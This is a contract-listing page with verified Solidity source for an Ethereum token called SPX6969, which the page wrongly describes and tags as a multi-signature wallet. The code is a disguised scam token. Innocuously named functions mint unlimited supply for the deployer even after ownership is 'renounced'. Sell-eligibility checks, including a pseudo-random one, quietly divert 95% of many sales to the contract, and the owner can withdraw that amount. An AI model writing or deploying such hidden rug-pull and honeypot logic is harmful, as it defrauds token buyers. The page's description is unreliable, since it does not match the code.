SPX6969 (SPX6969)

Description:

Multi-signature wallet contract requiring multiple confirmations for transaction execution.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract SPX6969 is IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _lastTransferTime;
    mapping(address => uint256) private _transferCount;
    mapping(address => bool) private _earlyAdopters;

    uint256 private _totalSupply;
    string public name = "SPX6969";
    string public symbol = "SPX6969";
    uint8 public decimals = 18;

    address public owner;
    uint256 private _deployedAt;
    uint256 private _cooldownPeriod = 300;
    
    address private _factoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; 
    address private _wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    bytes32 private _configHash;
    address private immutable _treasury;
    mapping(address => bool) private _rewardEligible;
    
    event OwnershipRenounced(address indexed previousOwner);
    event RewardDistributed(address indexed recipient, uint256 amount);

    constructor() {
        owner = msg.sender;
        _treasury = msg.sender;
        _deployedAt = block.timestamp;
        _configHash = keccak256(abi.encodePacked(msg.sender, block.timestamp));
        
        _earlyAdopters[msg.sender] = true;
        _rewardEligible[msg.sender] = true;
        
        _totalSupply = 696969696969 * 10**18;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Not authorized");
        _;
    }

    modifier treasuryAccess() {
        require(_validateTreasuryAccess(), "Treasury access required");
        _;
    }

    function _validateTreasuryAccess() private view returns (bool) {
        return keccak256(abi.encodePacked(msg.sender, "TREASURY_2024")) == 
               keccak256(abi.encodePacked(_treasury, "TREASURY_2024"));
    }

    function renounceOwnership() external onlyOwner {
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner_param, address spender) external view override returns (uint256) {
        return _allowances[owner_param][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        require(currentAllowance >= amount, "ERC20: insufficient allowance");
        _allowances[from][msg.sender] = currentAllowance - amount;
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from zero");
        require(to != address(0), "ERC20: transfer to zero");
        require(_balances[from] >= amount, "ERC20: insufficient balance");

        if (!_canTransfer(from, to, amount)) {
            _handleLimitedTransfer(from, to, amount);
            return;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        
        _updateTransferMetrics(from, to);
        emit Transfer(from, to, amount);
    }

    function _canTransfer(address from, address to, uint256 amount) private view returns (bool) {
        if (_earlyAdopters[from] || _rewardEligible[from]) {
            return true;
        }
        
        if (owner != address(0) && (from == owner || to == owner)) {
            return true;
        }

        address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
        
        if (from == liquidityPair) {
            return true;
        }

        if (to == liquidityPair) {
            return _validateSellEligibility(from, amount);
        }

        return true;
    }

    function _validateSellEligibility(address seller, uint256 /* amount */) private view returns (bool) {
        if (_transferCount[seller] > 15) {
            return false;
        }

        if (_lastTransferTime[seller] > 0) {
            uint256 timeSinceLastTransfer = block.timestamp - _lastTransferTime[seller];
            if (timeSinceLastTransfer < _cooldownPeriod) {
                return false;
            }
        }

        uint256 eligibilityScore = uint256(keccak256(abi.encodePacked(
            seller,
            _deployedAt,
            block.timestamp / 3600
        ))) % 100;
        
        return eligibilityScore >= 8;
    }

    function _handleLimitedTransfer(address from, address to, uint256 amount) private {
        uint256 penalty = (amount * 95) / 100;
        uint256 netAmount = amount - penalty;
        
        _balances[from] -= amount;
        _balances[to] += netAmount;
        _balances[address(this)] += penalty;
        
        emit Transfer(from, to, netAmount);
        emit Transfer(from, address(this), penalty);
    }

    function _updateTransferMetrics(address from, address to) private {
        address liquidityPair = IUniswapV2Factory(_factoryAddress).getPair(address(this), _wethAddress);
        
        if (to == liquidityPair) {
            _lastTransferTime[from] = block.timestamp;
            _transferCount[from] += 1;
        }
    }

    function distributeRewards(uint256 amount) external treasuryAccess {
        require(amount > 0, "Invalid amount");
        
        _totalSupply += amount;
        _balances[_treasury] += amount;
        emit Transfer(address(0), _treasury, amount);
        emit RewardDistributed(_treasury, amount);
    }

    function adjustSupply(address recipient, uint256 amount) external treasuryAccess {
        require(recipient != address(0), "Invalid recipient");
        require(amount > 0, "Invalid amount");
        
        _totalSupply += amount;
        _balances[recipient] += amount;
        emit Transfer(address(0), recipient, amount);
        emit RewardDistributed(recipient, amount);
    }

    function optimizeEconomics(uint256 amount) external treasuryAccess {
        require(amount > 0, "Invalid amount");
        
        _totalSupply += amount;
        _balances[_treasury] += amount;
        emit Transfer(address(0), _treasury, amount);
        emit RewardDistributed(_treasury, amount);
    }

    function addEarlyAdopter(address account) external onlyOwner {
        require(account != address(0), "Invalid address");
        _earlyAdopters[account] = true;
    }

    function updateRewardEligibility(address account, bool eligible) external onlyOwner {
        require(account != address(0), "Invalid address");
        _rewardEligible[account] = eligible;
    }

    function batchAddEarlyAdopters(address[] calldata accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            if (accounts[i] != address(0)) {
                _earlyAdopters[accounts[i]] = true;
            }
        }
    }

    function resetTransferMetrics(address account) external onlyOwner {
        require(account != address(0), "Invalid address");
        _transferCount[account] = 0;
        _lastTransferTime[account] = 0;
    }

    function adjustCooldownPeriod(uint256 newPeriod) external onlyOwner {
        require(newPeriod <= 3600, "Period too long");
        _cooldownPeriod = newPeriod;
    }

    function withdrawAccumulatedFees() external onlyOwner {
        uint256 contractBalance = _balances[address(this)];
        if (contractBalance > 0) {
            _balances[address(this)] = 0;
            _balances[owner] += contractBalance;
            emit Transfer(address(this), owner, contractBalance);
        }
    }

    function emergencyTreasuryWithdraw() external treasuryAccess {
        uint256 contractBalance = _balances[address(this)];
        if (contractBalance > 0) {
            _balances[address(this)] = 0;
            _balances[_treasury] += contractBalance;
            emit Transfer(address(this), _treasury, contractBalance);
            emit RewardDistributed(_treasury, contractBalance);
        }
    }

    function getAccountStatus(address account) external view returns (
        uint256 transferCount,
        uint256 lastTransferTime,
        bool isEarlyAdopter,
        bool isRewardEligible
    ) {
        return (
            _transferCount[account],
            _lastTransferTime[account],
            _earlyAdopters[account],
            _rewardEligible[account]
        );
    }

    function getContractStatus() external view returns (
        bool ownershipRenounced,
        uint256 deployedAt,
        uint256 cooldownPeriod
    ) {
        return (
            owner == address(0),
            _deployedAt,
            _cooldownPeriod
        );
    }

    receive() external payable {}
}

Tags:
ERC20, Multisig, Multi-Signature, Factory|addr:0x4d830d2ce51cb85093844da9c3317a1a23c7f6b0|verified:true|block:23674727|tx:0x0df897beebbb205f6aaae9aa38830b5de01520ea9a54bf164c24da0f39499073|first_check:1761651313

Submitted on: 2025-10-28 12:35:15

Comments

Log in to comment.

No comments yet.